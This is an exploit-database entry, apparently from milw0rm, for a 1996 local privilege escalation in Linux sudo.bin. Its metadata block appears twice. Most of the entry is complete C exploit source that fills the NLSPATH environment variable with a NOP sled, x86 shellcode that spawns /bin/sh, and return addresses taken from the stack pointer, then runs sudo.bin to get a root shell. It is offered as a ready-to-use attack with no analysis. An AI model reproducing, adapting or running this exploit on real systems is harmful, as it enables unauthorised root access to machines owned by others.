sudo.bin - NLSPATH Privilege Escalation
Author: _Phantom_
type: local
platform: linux
port:
date_added: 1996-02-12
date_updated:
verified: 1
codes: OSVDB-61460
tags:
aliases:
screenshot_url:
application_url:
raw file: 319.c
type: local
platform: linux
port:
date_added: 1996-02-12
date_updated:
verified: 1
codes: OSVDB-61460
tags:
aliases:
screenshot_url:
application_url:
raw file: 319.c
#include <unistd.h> #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <sys/stat.h> #define PATH_SUDO "/usr/bin/sudo.bin" #define BUFFER_SIZE 1024 #define DEFAULT_OFFSET 50 u_long get_esp() { __asm__("movl %esp, %eax"); } main(int argc, char **argv) { u_char execshell[] = "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f" "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd" "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh"; char *buff = NULL; unsigned long *addr_ptr = NULL; char *ptr = NULL; int i; int ofs = DEFAULT_OFFSET; buff = malloc(4096); if(!buff) { printf("can't allocate memory\n"); exit(0); } ptr = buff; /* fill start of buffer with nops */ memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell)); ptr += BUFFER_SIZE-strlen(execshell); /* stick asm code into the buffer */ for(i=0;i < strlen(execshell);i++) *(ptr++) = execshell[i]; addr_ptr = (long *)ptr; for(i=0;i < (8/4);i++) *(addr_ptr++) = get_esp() + ofs; ptr = (char *)addr_ptr; *ptr = 0; printf("SUDO.BIN exploit coded by _PHANTOM_ 1997\n"); setenv("NLSPATH",buff,1); execl(PATH_SUDO, "sudo.bin","bash", NULL); } // milw0rm.com [1996-02-13]
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